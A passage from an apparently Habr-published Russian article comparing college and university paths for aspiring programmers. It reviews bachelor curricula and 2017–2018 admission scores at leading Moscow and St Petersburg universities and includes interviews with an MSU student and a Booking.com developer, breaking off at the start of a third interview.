> У нас получилась очень весёлая (грустная) история. Нам сказали, что у нас вести данный курс будет новый преподаватель с опытом реальной работы. Оказалось, что последний раз она(преподаватель) программировала на ассемблере 20 лет назад на каком-то заводе и совершенно не имеет понятия как вести занятия. И тогда я предложил провести курс по C# вместо неё. Готовился к занятиям (в чём мне помог замечательный преподаватель "Мытищинской школы программистов"), придумывал задания, лабораторные, контрольные, домашние задания. В первом семестре я также принимал экзамен. Я доволен!
>
> **UPD:** На самом деле если студент вместо преподавателя ведёт пары в течение семестра на постоянной основе, то это очень плохая ситуация, т.к. говорит о низкой квалификации преподавателей.
– Информационная безопасность
Слишком большой разброс, поэтому нет четкого плана, как это вообще вести (в вузах это вообще отдельное направление). Ожидания сбросьте на ноль.
Такие предметы как: философия, экономика, менеджмент, ведение документации и пр. рассматривать не имеет смысла, потому что это совершенно не то, на что хотелось бы тратить время при обучении. К слову сказать, этим нас забивали больше, чем профильными предметами и это ужасно. Просто огромный минус в карму колледжа.
Вы должны сразу понимать: всё, что я сейчас написал про пары – сугубо локальные случаи. Т.е. всё может сильно отличаться в другом учебном заведении! Каждый преподаватель по-своему ведет занятия. Есть те, кто делает это лучше или хуже других, но в целом, сейчас испытывается дефицит профессиональных преподавателей, поэтому ожидать чего-то сверх не стоит. Просто принимайте все как есть, **это единственная надежда нормально доучиться и не разочароваться**.
Вступительные испытания:
Подготовки ни к ЕГЭ, ни ко внутренним нет (сейчас что-то похожее организовали, но в колледжах без вузов такого обычно нет). Об этом вам придется позаботиться заблаговременно (за год или два). Все технические вузы принимают по внутренним экзаменам при наличии диплома СПО(среднего профессионального образования). Подготовка ко внутренним очень похожа на подготовку к ЕГЭ. Так что у вас появляется возможность сдать ЕГЭ. В этом нет ничего страшного. Абсолютно. Я сам сдал и доволен. Так мало того, вы автоматически готовитесь ко внутренним. Процесс сдачи ЕГЭ прост, вам лишь нужно зайти на сайт РЦОИ и почитать где и когда вы можете сдать ЕГЭ. Затем приехать на регистрацию и ждать экзаменов. Внутренние же экзамены проходят непосредственно в ВУЗе, задания обычно проще или такие же, но также их меньше, чем на ЕГЭ (Однако, подготовиться к ним немного сложнее, т.к. примеров заданий прошлых лет почти нет и в день экзамена некоторые задания могут поменяться).
В общем и целом колледж — способ понять, нужно ли вам это или нет, а также приобрести различные навыки, чтобы в дальнейшем вам было проще работать и учиться. Многие идут после колледжа работать, но они идут лишь веб-программистами и зачастую только front-end разработчиками. Если ставить своей целью такое занятие, то вышка вам больше не нужна, но дабы получить широкие возможности мы подразумеваем логичное продолжение — ВУЗ. Так что далее будем рассматривать именно их.
**UPD:** Прошло приличное количество времени с тех пор как я начал писать эту статью и мнение моё немного поменялось. Подытожим.
На данный момент образование для программиста в колледже не лучший вариант. Колледжи только набирают обороты. Пока нет специальных соревнований или олимпиад (те, что есть это какая-то профанация), качественных учебных программ, а толковых преподавателей мало. Но, тем не менее это хороший старт, если что-то не получилось или ты опоздал с универом. Также здесь есть некая фора в виде 4 лет обучения, когда ты можешь развиваться самостоятельно, проходить стажировки, участвовать в CTF или хакатонах, сдавать ЕГЭ или какие-то международные экзамены (чтобы затем поступить в зарубежный вуз) и в конце концов ты, скорее всего (99%), получишь диплом, что несомненно лучше, чем остаться ни с чем.
3 – Вторая ступень. Высшее учебное заведение. Бакалавр
------------------------------------------------------
Вот мы и подошли к наиболее интересному этапу для разбора. Много вопросов насчет необходимости получения высшего образования программисту. Давайте я приведу аргументы почему оно необходимо, а затем почему нет.
1. Первое на что смотрит работодатель впервые – диплом. Кто бы что не говорил, но это так. Грустно, но я это испытал на своей шкуре (об этом далее).
2. Фундаментальная база, готовые курсы обучения. За вас уже написали программу обучения, чтобы вы не сами искали материалы, а брали уже готовое.
3. Математика. Как минимум — она заставляет думать.
4. Время на саморазвитие, изучение интересных направлений.
5. Студенческая жизнь, приобретение навыков коммуникации и контактов.
Теперь посмотрим на контраргументы:
1. Длительное время обучения. (4-5 лет)
2. Много побочных дисциплин.
3. Зачастую устаревшая программа.
4. Возможность учить только необходимое и самому.
5. Свобода действий, отсутствие страха вылететь из универа.
Вы можете сказать, что и без университета можно стать программистом. Да, можно. Всё дело в том, что для освоения некоторых областей придется потратить огромное количество времени, и не факт, что в итоге это приведет к успеху, поэтому проще будет отучиться в университете, где уже подготовлена программа обучения, придуманы практические и лабораторные и есть мотивация.
Каждый выбирает своё, а мы движемся дальше.
**UPD:** Рекомендую прочитать статью [Программист без диплома: что может и чего не может дать «домашнее обучение» в IT](https://habr.com/company/spbifmo/blog/324484/), чтобы детально посмотреть на плюсы и минусы университетского образования.
Самое сложное это выбрать подходящий ВУЗ. Проблема кроется в нескольких вещах:
* Качество образования
* Ценность вуза (в глазах работодателей)
* Сотрудничество с компаниями
* Внутренние программы обучения
В наше время обучить человека довольно нелегко, особенно если профессия — программист. Проясним ситуацию.
Есть два типа программистов в ВУЗе: одни пишут программы на C# и программируют сайты, а вторые обучают нейросети, работают с big data, пишут программы для суперкомпьютеров и разрабатывают алгоритмы. Назовем этих людей “софты” и “научники” соответственно.
Для сопоставления программ обучения для каждого типа мы зайдем на сайты универов и почитаем программы обучения на следующих специальностях:
* Прикладная математика и информатика (01.03.02)
* Математика и компьютерные науки (02.03.01)
* Фундаментальная информатика и информационные технологии (02.03.02)
* Информатика и вычислительная техника (09.03.01)
* Прикладная информатика (09.03.03)
* Программная инженерия (09.03.04)
Рассмотрим каждую и условно поделим их на “софтовые” и “научные”.
Внимание! В качестве предметов далее представлены только самые распространенные и наиболее повторяющиеся от вуза к вузу. Не исключена возможность обнаружить новый или не обнаружить предмет на сайте конкретного вуза.
### ПМИ (01.03.02)
Первый претендент “ПМИ”. Чтобы понять о чем эта специальность мы рассмотрим программу следующих вузов: МФТИ, НИУ ВШЭ, МГУ (им. Ломоносова), МГТУ им. Баумана, ИТМО, СПбГУ, СПбПУ (Политех Петра Великого).
Сразу поясню, что направление может называться, например, ИВТ, но в Вузе есть разделение этого направления и поэтому я брал максимально подходящие под программирование учебные планы.
**Учебные планы**[НИУ ВШЭ](https://www.hse.ru/standards/plans/343935449/), [МФТИ](https://mipt.ru/upload/iblock/483/up-dlya-sayta-2016-fivt-bakalavriat-pmi.pdf), [МГТУ им. Баумана](http://www.bmstu.ru/content/plans-2018/bac/iu.pdf), [ИТМО](http://edu.ifmo.ru/spec/4738/), [СПбГУ](https://bb.spbu.ru/webapps/cmsmain/webui/institution/%D0%9E%D0%B1%D1%80%D0%B0%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5/%D0%91%D0%B0%D0%BA%D0%B0%D0%BB%D0%B0%D0%B2%D1%80%D0%B8%D0%B0%D1%82/%D0%A1%D0%92.5004._%D0%9F%D1%80%D0%B8%D0%BA%D0%BB%D0%B0%D0%B4%D0%BD%D0%B0%D1%8F%20%D0%BC%D0%B0%D1%82%D0%B5%D0%BC%D0%B0%D1%82%D0%B8%D0%BA%D0%B0%20%D0%B8%20%D0%B8%D0%BD%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%82%D0%B8%D0%BA%D0%B0?action=frameset&subaction=view&uniq=kb546f&bptksess=false&mask=%2Finstitution%2F%2525D0%25259E%2525D0%2525B1%2525D1%252580%2525D0%2525B0%2525D0%2525B7%2525D0%2525BE%2525D0%2525B2%2525D0%2525B0%2525D0%2525BD%2525D0%2525B8%2525D0%2525B5), [СПбПУ](https://www.spbstu.ru/sveden/education/documents-educational-process-educational-organization/)
Итак, если открыть эти файлы, то видим, что обязательно в учебном плане “прикладная математика и информатика” есть такие предметы:
**Предметы*** Дискретная математика
* Алгебра
* Математический анализ
* Дифференциальные уравнения
* Линейная алгебра и геометрия
* Теория вероятностей и математическая статистика
* Основы и методологии программирования
* Алгоритмы и структуры данных
* Базы данных
* Архитектура компьютерных систем / Операционные системы
* Информатика (50/50)
* Английский язык
По выбору идут следующие дисциплины (это значит, что у каждого вуза на данной программе есть свои специализации и в зависимости от выбора могут появляться предметы из ниже перечисленных):
* Теория игр
* Машинное обучение
* Параллельное программирование, распределенные системы
* Системное программирование
* Функциональное программирование
* Объектно-ориентированние программирование
* Безопасность и криптография
* Анализ данных
* Компьютерная лингвистика
* Компьютерное зрение
* Теория графов и её приложения
* Компьютерные сети (обычно включен в основные предметы, но часто глубокое изучение этого модуля выносят в дисциплины по выбору)
Из этого можно сделать вывод, что это довольно мощная универсальная программа, но преимущественно нацеленная на подготовку специалистов узкого плана. Т.е. специалистов по машинному обучению, data scientist (специалист по работе с данными), системных программистов (написание модулей операционных систем и т.д.). Однако, эта специальность довольно универсальна, с хорошим математическим аппаратом и фундаментальными знаниями информатики и программирования (помимо выбранной специализации на самой программе) можно стать профессионалом почти в любой области.
От себя добавлю, что самый большой конкурс в вузах именно на эту специальность. Программа может отличаться, преподаватели и условия быть разными, то тем не менее, всё больше людей понимают и осознают необходимость получения такого образования.
**Проходные баллы 2017 и 2018 ЕГЭ на бюджет (2017/2018/Максимально):**
МФТИ – 295/295/310 (+ИД)
НИУ ВШЭ – 298/297/310 (+ИД)
МГУ – 422/425/510 (+физика егэ, +дополнительный экзамен по математике)
МГТУ им. Баумана – 277/268/310 (+ИД)
ИТМО – 309/283/310 (+ИД)
СПбГУ – 266/263/310 (+ИД)
СПбПУ – 253/249/310 (+ИД)
\*у ВШЭ имеется две программы, которые схожи друг с другом. ПМИ и Прикладной анализ данных (ПАД). Первая ведётся на русском языке, вторая же на английском (информатика ЕГЭ заменяется на английский язык) и на 2018 год осуществляет подготовку только на контрактных местах. Отличие также в том, что ПАД целенаправленно сразу же готовит специалистов в области анализа данных (есть экономические дисциплины, меньше курсов по выбору, т.к. уже заданы).
Определенно эта программа относится к “научным”. Т.е. здесь довольно много математики, сложные дисциплины, и широкие возможности для дальнейшего развития.
### МКН (02.03.01)
Что же, перейдем к следующей программе: МКН (математика и компьютерные науки).
**Учебные планы**[СПбГУ](http://www.math.spbu.ru/ru/mmeh/PLANS/1/18_5001_020301MiKNb_18_08_15.pdf)
**Предметы*** Математический анализ
* Линейная алгебра и аналитическая геометрия
* Дискретная математика
* Теория вероятностей и математическая статистика
* Основы программирования
* Теория автоматического управления
* Математическая логика и теория автоматов
* Объектно-ориентированное программирование
* Архитектура компьютерных систем
* Архитектура суперкомпьютеров
* Параллельное программирование
* Методы оптимизации
* Методы проектирования информационных систем
* Теоретические основы баз данных
* Сети и телекоммуникации компьютерных систем
* Методы разработки компиляторов
* Английский язык
Как вы могли заметить программа ещё более ориентирована на математический аппарат. Здесь много теории, а также низкоуровневых вещей, таких как разработка компиляторов, программирование на суперкомпьютерах, применение математических навыков в программировании. Если ПМИ это программирование, где помогает математика, то МКН это больше наполовину математики и программирования. Теоретические основы и узкоспециальные дисциплины делают отличного специалиста, но подойдет эта программа не каждому.
**Проходные баллы 2017 и 2018 ЕГЭ на бюджет (2017/2018/Максимально):**
СПБГУ – XXX/273/310 (+ИД)
СПБПУ – 251/246/310 (+ИД)
Абсолютно точно эта программа идёт в список “научных”. Главное не бойтесь слова “научная”, потому что я не просто так взял в скобки это слово.
### ФИИТ (02.03.02)
ФИИТ — фундаментальная информатика и информационные технологии.
**Учебные планы**[СПбПУ](https://www.spbstu.ru/sveden/education/documents-educational-process-educational-organization/), [СПбГУ](http://abiturient.spbu.ru/files/2019/bak/bac_spec_prog_VI_2019.pdf)
**Предметы*** Математический анализ
* Дифференциальные уравнения
* Алгебра
* Функциональный анализ
* Дискретная математика
* Теория вероятностей и математическая статистика
* Алгоритмы и структуры данных
* Архитектура компьютерных систем
* Вычислительная математика
* Основы программирования
* Компьютерные сети
* Операционные системы
* Теория автоматов и формальных языков
* Проектирование программных систем
* Параллельное программирование
* Трансляция языков программирования
* Программирование на C++ (вынесено в отдельную дисциплину)
* Введение в программную инженерию
* XML, UML
* Интеллектуальные системы (введение в машинное обучение, обработка языка и т.д.)
* Базы данных
* Английский язык
Здесь дан большой курс информатики в различных направлениях. Очень большой набор предметов, самая что есть теоретическая информатика. Не обошлось, конечно, и без математического курса. Программа похожа на МКН, но отличается своей вариативностью и более широким набором дисциплин, но в тоже время не даёт точно понять кого именно выпускает. С таким набором можно также изучить любую область программирования, но скорее всего придется потратить еще немного времени.
*P.S. Напоминает сборную солянку, понравится тем, кто еще точно не понял что ему нужно от мира программирования.*
**Проходные баллы 2017 и 2018 ЕГЭ на бюджет (2017/2018/Максимально):**
СПбГУ – 267/264/310 (+ИД)
СПбПУ – 258/254/310 (+ИД)
Программу отнесём к “научным”, здесь много теоретической и практической информатики, а также “джентльменский” набор математических дисциплин.
И вот мы уже подошли к специальностям, код которых начинается с цифры 9. Итак, встречайте, первый участник — ИВТ.
### ИВТ (09.03.01)
Информатика и вычислительная техника.
**Учебные планы**[СПбПУ](https://www.spbstu.ru/sveden/education/documents-educational-process-educational-organization/), [МФТИ](https://mipt.ru/upload/iblock/c7f/up-frtk-aspirantura-09.06.01.pdf), [МГТУ им. Баумана](http://www.bmstu.ru/content/plans-2018/bac/iu.pdf), [НИУ ВШЭ](https://www.hse.ru/ba/isct/learn_plans/)
**Предметы*** Физика (часто много)
* Информатика/Введение в программирование
* Линейная алгебра
* Аналитическая геометрия
* Вычислительная математика
* Теория вероятностей и математическая статистика
* Дискретная математика
* Алгоритмы и структуры данных
* Вычислительная техника
* Схемотехника, электротехника
* Транслирующие системы
* Языки системного программирования
* Основы распределенных вычислений
* Встроенные системы
* Операционные системы
* Организация ЭВМ и систем
* Теория автоматов
* Английский язык
Что мы видим? Здесь довольно мало дисциплин по программированию, если и есть то, в основном, это языки ассемблера. На этой специальности идёт подготовка инженеров и “низкоуровневых” программистов. Программирование микрочипов, написание кода операционных систем, создание своих систем вычислений, разработка команд процессора и пр.
*в некоторых университетах требуется сдавать физику вместо информатики*
**Проходные баллы 2017 и 2018 ЕГЭ на бюджет (2017/2018/Максимально):**
МФТИ – 389/410 (+ИД, +физика)
НИУ ВШЭ – 257/263/310 (+ИД)
МГТУ им. Баумана – 275/278/310 (+ИД)
ИТМО – 272/272/310 (+ИД)
СПбПУ – 255/249/310 (+ИД)
Довольно сложно четко отнести эту специальность к “научным” или “софтовым”. Она как бы стоит особняком. Однако, при должном уровне подготовки выходит грамотный специалист не только со знанием схемотехники и языков ассемблера, но и уверенным владением физических дисциплин, что само по себе непросто и позволяет отнести эту специальность к “научным”.
Настала очередь прикладной информатики.
### ПИнф (09.03.03)
ПИнф — прикладная информатика.
**Учебные планы**[МГТУ им. Баумана](http://www.bmstu.ru/content/plans-2018/bac/iu.pdf), [ИТМО](http://edu.ifmo.ru/spec/4753/)
**Предметы*** Правовые основы интеллектуальной собственности
* Проектная документация
* Экономика
* Экономика предприятия
* Моделирование бизнес-процессов
* Корпоративные системы документооборота
* UML
* Проектирование информационных систем
* Бухгалтерский учет
* Финансовый менеджмент
* Математика
* Дискретная математика
* Финансовая математика
* Информатика
* Теория вероятностей
* Вычислительная математика
* Программная инженерия
* Управление данными
* Базы данных
* Программирование
* Алгоритмы и структуры данных
* Веб-программирование
* Английский язык
Вопреки ожиданиям многих людей именно эта программа ориентирована на подготовку менеджеров программного продукта, управленцев в области информационных технологий и приобретение навыков ведения деловых переписок. Нужно открыть своё дело, оформить документы? Как раз выпускник этой специальности поможет вам в этом.
**Проходные баллы 2017 и 2018 ЕГЭ на бюджет (2017/2018/Максимально):**
МГТУ им. Баумана – 272/274/310 (+ИД)
ИТМО – 285/282/310 (+ИД)
Специальность “софтовая”, т.к. даны базовые навыки программирования, но бóльшая часть времени отведена изучению экономики, управления и прочих смежных областей.
P.S. Не в обиду: часто можно увидеть картину, когда выпускник “прикладной информатики” не умел программировать вообще (к счастью, это от него и не требуется).
Подойдем к финальной стадии — программная инженерия.
### ПИ (09.03.04)
ПИ — программная инженерия.
**Учебные планы**[НИУ ВШЭ](https://www.hse.ru/ba/se/learn_plans/),[МГТУ им. Баумана](http://www.bmstu.ru/content/plans-2018/bac/iu.pdf), [ИТМО](http://edu.ifmo.ru/spec/4756/), [СПбГУ](http://www.math.spbu.ru/ru/mmeh/PLANS/1/18_5666_090404mPrIng_18_08_16.pdf), [СПбПУ](https://www.spbstu.ru/sveden/education/documents-educational-process-educational-organization/)
**Предметы*** Математический анализ
* Алгебра
* Дискретная математика
* Теория вероятностей и математическая статистика
* Введение в программную инженерию
* Экономика программной инженерии
* Управление программными проектами
* Интеллектуальное право
* Разработка и анализ требований
* Основы программирования
* Объектно-ориентированное программирование
* Алгоритмы и структуры данных
* Операционные системы
* Архитектура компьютерных систем
* Базы данных
* Программирование интернет-приложений
* Тестирование программного обеспечения
* Английский язык
Вариативные дисциплины:
* Параллельное программирование
* Системное программирование
* Основы моделирования систем
* Функциональное программирование
* Разработка игр
* Анализ данных
* Компьютерная графика
* Нейросетевые технологии
* Mathlab
* Разработка блокчейн приложений
* Облачные технологии
* Мобильная(Android / iOS) — разработка приложений
Вы знаете, даже для меня программа специальности "программная инженерия" стала неожиданностью в том смысле, что ранее я сравнивал её с ПМИ, однако, при написании статьи и детальном изучении будет правильнее говорить о сравнении по крайней мере не только с ПМИ, но и с ПИнф. По сравнению с прикладной информатикой здесь меньше экономических и около экономических дисциплин. Также здесь широкий выбор направлений для программирования. Здесь есть всё, начиная от ассемблера, заканчивая разработкой интерфейсов. Набор математических дисциплин здесь представлен в меньшем объёме, нежели у ПМИ. Однако, это не означает, что вы не сможете заниматься машинным обучением, анализом данных и стать data scientist, это значит лишь то, что времени программы этому уделено меньше и вам скорее всего придётся покапать самому больше, чем студенту/выпускнику с ПМИ. Является по праву второй по популярности специальностью обучения среди абитуриентов.
**Проходные баллы 2017 и 2018 ЕГЭ на бюджет (2017/2018/Максимально):**
НИУ ВШЭ – 296/296/310 (+ИД)
МГТУ им. Баумана – 275/287/310 (+ИД)
ИТМО – 282/284/310 (+ИД)
СПБГУ – 282/281/310 (+ИД)
СПБПУ – 259/262/310 (+ИД)
Программа также как и ПИнф является "софтовой", что является отличным путём для тех, кто не хочет сильно париться с математикой как в случае с ПМИ, но побыстрее начать писать свои приложения.
Почитать на Хабре про программы: [Яндекс](https://habr.com/company/yandex/blog/416405/), [нужна ли математика программисту](https://habr.com/company/yandex/blog/239339/), [ИТМО-2017](https://habr.com/company/spbifmo/blog/323774/), [в целом про специальности (задизлайкано)](https://habr.com/post/304380/), [хорошая, но довольно старая статья](https://habr.com/post/126619/), [про рынок IT в России](https://habr.com/post/413819/)
**UPD:** Некоторые думают, что здесь идёт агитация против самообразования. Это не так!Самообразование – важная составляющая становления профессионала. Оно должно дополнять. Потреблять исключительно вузовскую программу *нельзя*.
---
В настоящий момент это не единственные специальности по подготовке. Например, МФТИ в этом году открыл направление "Computer Sceince", но будет только первый набор и программа на английском языке. Ещё в ВШЭ есть ПАД, о котором упоминалось раньше, но обучение там только на английском и только платно.
Теперь я хотел бы сказать о том, почему я не рассматривал другие ВУЗы или другие города.
Во-первых я не хотел распыляться и взял только самые "топовые" университеты в Москве и Петербурге. К слову сказать, например, в Новосибирске есть замечательный НГУ (Новосибирский государственный университет), но там он чуть ли не единственный и понятное дело абитуриентам близлежащих городов следует поступать туда. Во-вторых я не вижу смысла рассматривать программу непрофильных вузов или вузов сильно ниже в рейтинге университетов, потому что они не показательные и стараются копировать программу "сильных" университетов.
P.S. Есть такая присказка, кстати:
> Если вуз не может сделать себе нормальный сайт, то в такой вуз лучше не идти.
Самая большая проблема выбора состоит в том, что необходимо набрать почти максимальное количество баллов за ЕГЭ (или за внутренние экзамены, которые переводятся в 300/400 балльную шкалу) ради возможности поступить туда, куда хочешь, а не куда можешь.
Возьмём, к примеру, МГУ, МФТИ и НИУ ВШЭ. Сейчас это самые популярные ВУЗы в Москве и обладающие высокими позициями в международных рейтингах (относительно других Российских университетов). Но и конкурс соответствующий. Без должной подготовки попасть туда сложно.
Однако, за ваши деньги как говорится (я сейчас абсолютно серьезно. проходной балл на платное неприлично маленький)...
#### Я бы хотел представить вам несколько интервью с людьми, которые связали свою жизнь с IT
UPD: Интересно узнать как мнение состоявшегося специалиста, так и студента.
Встречайте –
**Саенко Иван, студент ВМК МГУ**Я Иван Саенко, студент ВМК МГУ.
**Средняя школа**
Расскажи немного о себе, где жил, где учился(лицей, гимназия и тд), что больше всего нравилось?
*Жил до поступления в городе Таганроге в Ростовской области, учился в школах, крутых на городском уровне, но не более. Интересовался историей и географией, в полную силу заниматься точными науками начал с 10 класса, когда поступил в ЗФТШ МФТИ, и все завертелось...*
Участвовал в олимпиадах? Какие успехи были?
*Да, участвовал во многих олимпиадах по математике и программированию, к сожалению, в призовые места на олимпиадах в выпускной год не попал (два раза не хватило ровно одного балла), поэтому поступать пришлось по ЕГЭ. Но в 9 классе взял на региональном этапе и по географии, и по истории призера (по географии не хватило до всеросса совсем чуть-чуть).*
Какие были оценки?
*В школе всегда были все пятерки, благо учителя давали мне большую свободу действий для подготовки к олимпиадам и вообще повышения своего уровня, так что учиться в вузе безусловно стало легче.*
Учился в профильном классе?
*Да, но уверен, что по сравнению с московскими школами наш был на уровне обычного непрофильного) Было по 6 часов математики и физики + 4 часа информатики*
Насколько сложно было учиться?
*Не очень сложно, учитывая выше указанное:)*
Сдавал ЕГЭ? Если да, то какие предметы и какой суммарный балл?
*Сдавал русский, математику, информатику, физику: 96+84+84+71, и также дополнительный экзамен в МГУ по математике на 80/100*
Куда решил поступать? Рассматривал зарубежные ВУЗы?
*Решил поступать на ВМК МГУ, как наилучший из имеющихся вариантов (до ФИВТ МФТИ не хватило баллов (на олимпиадах, кхм-кхм)), но ни тогда, ни сейчас не жалею об этом. Нет, на иностранные вузы даже не смотрел от слова совсем.*
На каком ты факультете, какая у тебя специальность?
*Прикладная математика и информатика на ВМК МГУ*
Тебе нравится учиться? Сложно ли? Много ли нового ты узнал?
\*Да, нравится. Я получил, что хотел – хорошую математическую подготовку, сейчас распределился на кафедру ММП (математических методов прогнозирования) – пойду в data science по стопам великих:) Из первых четырех семестров самый крутой курс по программированию был на третьем: курс операционных систем (на Си под Linux) – видно, что он современнее, чем остальные.
Да, было действительно сложно, особенно во время сессии. К сожалению, на экзамене на большинстве предметов работа в семестре не учитывается почти никак (если по этому же предмету у вас был зачет, например, то сдал ты зачет автоматом или зачета у тебя нет – все равно). Очень многое зависит от семинариста (так как переводиться между ними нельзя, кроме случаев, когда саму группу ведут два семинариста, как на программистских курсах).
Последний вопрос даже странный немного – конечно же, да.\*
Принимаешь участие в хакатонах/соревнованиях/олимпиадах?
*К сожалению, на первых двух курсах лично у меня на это времени не хватало (хотя немало моих одногруппников вполне себе успевали)*
Расскажи немного о том, как принимал решение о выборе, на что обращал внимание?
*На самом деле первоначальных критериев было немного — не севернее Москвы (мне было бы очень грустно привыкать к питерской погоде), высокий уровень сокурсников (очевидно) и высокий уровень преподавания. В итоге получился именно такой вариант. К слову, я на самом деле знал много меньше того, что должен был знать и мне, можно сказать, довольно повезло, что внезапно (нет) появившиеся минусы не заслонили мне плюсы.*
Помогли ли тебе знания, полученные в школе при поступлении?
*Да, я считаю, что моя школа задачу по подготовке к экзаменам меня на своем уровне выполнила, и нужные знания для этого дала. А то, что этого может не хватить для плавного старта при обучении в крутом месте — это уже другая, более широкая проблема (мое мнение таково, что массовая школа и не способна забраться на самый верх — абитуриент сам должен озаботиться тем, за счет чего он поступит в МФТИ/МГУ/ИТМО/СПБГУ/etc. и за счет чего он там будет учиться)*
Может что-то расскажешь про студенческую жизнь?
*В МГУ можно заниматься почти чем угодно – так как студентов очень много (около 40 тысяч человек), то единомышленники найдутся точно. Например, есть больше 40 спортивных кружков. Также на факультетах можно заниматься чем-то еще, кроме учебы, если интересно – студсовет и профком с ежегодной школой актива ждут вас.*
Расскажи в целом об учебе в ВУЗе, понравилось ли, посоветовал ли поступать?
\*Самый интересный вопрос. Как понятно по другим моим ответам, мне, конечно, понравилось. На хабре точно было минимум два поста про первый курс ВМК, и уверяю – не поменялось почти ничего (не считая того, что добавили абсолютно бесполезный русский, который выполняет единственную функцию – отнимает время. Лень рассказывать про влияние проректоров, пропихивающих свои предметы в программу, к счастью, у нас такой неадекват на русском и заканчивается.
Да, программа младших курсов (в отличие от старших, проходящих на кафедрах, которые, конечно, заинтересованы в своих студентах и могут добавлять/убирать/изменять курсы очень быстро) не меняется. Конечно, матан с линалом убирать глупо и бессмысленно, но я уверен, что два семестра физики можно заменить на что-нибудь ближе к дискретному анализу или матлогике. Но есть нюанс – немало кафедр у нас связаны с физикой (не есть что-то плохое – вот, у Samsung есть лаборатория на нашей кафедре математической физики), и похоже, что люди, ответственные за учебный план, уверены, что физика нам нужна. Короче, еще один дискуссионный вопрос.
Главное преимущество ВМК перед другими аналогичными факультетами – это разнообразные кафедры ( <https://cs.msu.ru/departments> ) – скорее всего, вы найдете себе занятие по душе. Но чтобы попасть на популярную кафедру, обычно нужен хороший средний балл зачетки, поэтому за него на первых семестрах стоит биться.
Мне сложно сказать, стоит ли конкретному человеку поступать на ВМК. Очень хорошо, если вы уже представляете себе, чем будете заниматься- тогда надо сравнить конкретно ваше направление на разных факультетах, посмотреть на конкретную работу людей по этой специальности (то есть, к примеру – направление компьютерной безопасности у нас лучше, чем у конкурентов (можете с Bushwhackers пообщаться), а за дискретной математикой лучше идти на ФИВТ). Если такого представления нет, конечно, выбор будет гораздо труднее.\*
**Немного о работе.**
Ты сейчас параллельно работаешь?
*Нет, начать работать планирую не раньше 4 курса.*
**И, напоследок, хотел бы узнать твоё мнение насчёт распространённых вопросов.**
Как считаешь: важно ли знать структуры данных и алгоритмы их обработки?
*Тут, наверно, многие ответят — да, конечно, очень важно (я тоже так хотел сначала отписать и перейти к следующему вопросу); мне кажется, зависит от сферы приложения знаний. Когда-то на хабре вывесили "теормин", который якобы должен знать каждый программист. Там было ну очень много всего вплоть до химии кремния, и мое мнение — каждый должен лучше знать то, что нужно для его конкретной специальности.*
Какой совет можешь дать абитуриентам?
*Абитуриентам нужно заботиться о двух вещах — об обеспечении поступления (олимпиады, хорошее ЕГЭ) и о месте поступления. Думаю, мои советы по первому поводу будут не очень актуальны, а по второму — очень хочется пожелать каждому отречься от любой рекламы и адекватно, вдумчиво рассмотреть все варианты — посмотреть учебный план, кафедры желаемого факультета; поспрашивать студентов о важных проблемах (хоть кто-нибудь, да расскажет и поможет сравнить минусы и плюсы). А если честно — все топовые места в нашей сфере очень близки друг к другу, и выбирать надо из своих (шкурных) желаний и интересов.*
Проходил ли дополнительные курсы, очные занятия?
*Занимался несколько лет оффлайн с преподавателями по математике, физике и русскому, они мне сильно помогли при поступлении, спасибо им большое – без них мне, конечно, было бы гораздо тяжелее.*
**Спасибо за интервью!**
**Александр, разработчик в Booking.com****Сначала затронем тему средней школы.**
Расскажи немного о себе, где жил, где учился(лицей, гимназия и тд), что больше всего нравилось?
*Жил в Санкт-Петербурге, учился в школах 104 (1-й класс), 653(со 2-го по 7-й классы), 664 (лицей восточной культуры на тот момент, с 8-го по 11-й классы). Учиться точно не нравилось, нравилось играть в компьютер. Оттуда кстати базовое знание компьютера, так как раньше поставить и настроить игрушку было в разы сложнее.*
Участвовал в олимпиадах? Какие успехи были?
*1 раз по русскому и 1 раз по информатике, обе с треском провалил :)*
Куда дальше поступил(лицей, колледж)?
*Дальше продолжил учиться в школе.*
**Старшая школа:**
Учился в профильном классе?
*Нет.*
Насколько сложно было учиться?
*Да ничего необычного. В среднем учился на 4.*
Куда решил поступать? Рассматривал зарубежные ВУЗы?
*В СПбПУ (на тот момент СПбГТУ, он же Политех). Зарубежные не рассматривал.*
**А теперь расскажи про свой ВУЗ...**
Где учился?
*Собственно, там, куда и собирался – Политех :)*
Расскажи немного о том, как принимал решение о выборе, на что обращал внимание?
*Да случайно попал практически. У друга был дядя на факультете радиофизики, сходили на день открытых дверей (после 10 класса). Решил, что на РФФ не хочу и пошел на подготовительные курсы на Факультет Технической Кибернетики (наивный, думал меня там программированию научат). Т.е. по сути ткнул пальцем наугад.*
Помогли ли тебе знания, полученные в школе при поступлении?
*Не особо, больше помогли знания с подготовительных курсов. Но сейчас смысла нет, ибо ЕГЭ. Тогда еще в каждом универе были свои экзамены.*
На каком ты факультете, какая у тебя специальность?
*Факультет Технической Кибернетики, кафедра измерительной техники и технологии, направление приборостроение.*
Тебе сложно было/сейчас учиться? Много ли нового ты узнал?
*Учиться нормально было, выгнать не пытались. Узнал много.*
Принимал ли участие в хакатонах?
*Какие там хакатоны в начале 2000-х, тогда еще даже про смузи и коворкинги не слышали :)*
Может что-то расскажешь про студенческую жизнь?
*Да, было веселое время :)*
Расскажи в целом об учебе в ВУЗе, понравилось ли, посоветовал бы поступать?
*Да кто ж его знает, я там уже 11 лет не был. Все могло поменяться. Не думайте, что в ВУЗе вас всему научат. В лучшем случае вас научат учиться и дадут какую-то базу, а дальше все сами.*
**Работа:**
Ты сейчас работаешь? Если не секрет, то где и как долго?
*Да, работаю. В Booking.com. Вот только недавно переехал. До этого 3 года на Кипре работал.*
Помогли ли тебе полученные в вузе знания на практике, полученные на олимпиадах/хакатонах?
*В основном нет. Помогло то, что выучил сам. Если считать онлайн соревнования по программированию за олимпиады, то они помогли.*
При трудоустройстве что помогло, на что обращали внимание?
*Общее знание Computer Science, знание необходимое по специальности (Android разработчик), умение понимать потребности бизнеса.*
**Другое:**
Как считаешь: важно ли знать структуры данных и алгоритмы их обработки?
*Да, важно. Хотя бы по минимуму.*
Проходил ли дополнительные курсы, очные занятия?
*Подготовительные курсы при поступлении. Остальное или онлайн курсы, или сам.*
**Спасибо, Александр!**
**Роман Левин, руководитель корпоративного университета в образовательной компании**Расскажи немного о себе, где жил, где учился(лицей, гимназия и тд), что больше всего нравилось?
